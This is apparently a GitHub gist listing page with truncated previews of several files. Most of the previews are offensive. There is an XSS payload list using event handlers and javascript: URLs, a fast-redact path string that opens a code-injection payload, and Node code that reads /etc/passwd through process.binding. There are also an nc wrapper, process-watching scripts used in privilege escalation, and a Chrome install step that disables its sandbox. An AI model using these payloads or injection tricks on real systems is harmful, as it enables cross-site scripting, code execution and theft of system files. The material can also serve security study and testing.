This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body oninput=javascript:alert(1)><input autofocus> | |
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> | |
<frameset onload=javascript:alert(1)> | |
<table background="javascript:javascript:alert(1)"> | |
<!--<img src="--><img src=x onerror=javascript:alert(1)//"> | |
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> | |
<![><img src="]><img src=x onerror=javascript:alert(1)//"> | |
<style><img src="</style><img src=x onerror=javascript:alert(1)//"> | |
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> | |
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- run: #STABLE | |
name: Install Chromedriver latest version | |
command: | | |
sudo apt-get update | |
sudo apt-get install lsb-release libappindicator3-1 | |
curl -L -o google-chrome.deb https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb | |
sudo dpkg -i google-chrome.deb | |
sudo sed -i 's|HERE/chrome"|HERE/chrome" --no-sandbox|g' /opt/google/chrome/google-chrome | |
rm google-chrome.deb |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/expect | |
# nca - nc wrapper by SNADO team | |
# Requires: expect, nc and optionally tmux | |
set LISTEN false | |
set ADDR "0.0.0.0" | |
set PORT 0 | |
set TMUX false | |
set UDP "" | |
set KILL true |
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <iostream> | |
#include <msi.h> | |
#include <conio.h> | |
#include <shlobj.h> | |
#include <pathcch.h> | |
#include <shlwapi.h> | |
#include <tchar.h> | |
#pragma comment(lib, "shlwapi.lib") | |
#pragma comment(lib, "pathcch.lib") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Loop by line | |
IFS=$'\n' | |
old_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0) | |
while true; do | |
new_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0) | |
diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fastRedact = require('fast-redact') | |
const fauxRequest = { | |
headers: { | |
host: 'http://example.com', | |
cookie: `oh oh we don't want this exposed in logs in etc.`, | |
referer: `if we're cool maybe we'll even redact this` | |
} | |
} | |
const redact = fastRedact({ | |
paths: ['headers.cookie', `a\n&& (function(){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const buffer = Buffer.allocUnsafe(8192) | |
process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096) | |
console.log(buffer.toString()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: "3.6" | |
x-env: | |
&env | |
NGINX_SERVER_NAME: "$NGINX_SERVER_NAME" | |
NGINX_EMAIL: "$NGINX_EMAIL" | |
BRIDGE_VERSION: "$BRIDGE_VERSION" | |
FEDERATION_VERSION: "$FEDERATION_VERSION" | |
COMPLIANCE_VERSION: "$COMPLIANCE_VERSION" | |
BRIDGE_PORT: "$BRIDGE_PORT" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
IFS=$'\n' | |
old_process=$(ps -eo command) | |
while true; do | |
new_process=$(ps -eo command) | |
diff <(echo "$old_process") <(echo "$new_process") | |
sleep 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try { | |
if (/〇/.test(s)) throw Error() | |
const proxy = new Proxy({}, {get: () => proxy, set: () => { throw Error() }}) | |
const expr = s.replace(/^\*/, '〇').replace(/\.\*/g, '.〇').replace(/\[\*\]/g, '[〇]') | |
if (/\/\*/.test(expr)) throw Error() | |
/* eslint-disable-next-line */ | |
new Script(` | |
o.${expr} | |
if ([o.${expr}].length !== 1) throw Error() | |
`).runInNewContext({o: proxy, 〇: null}) |
NewerOlder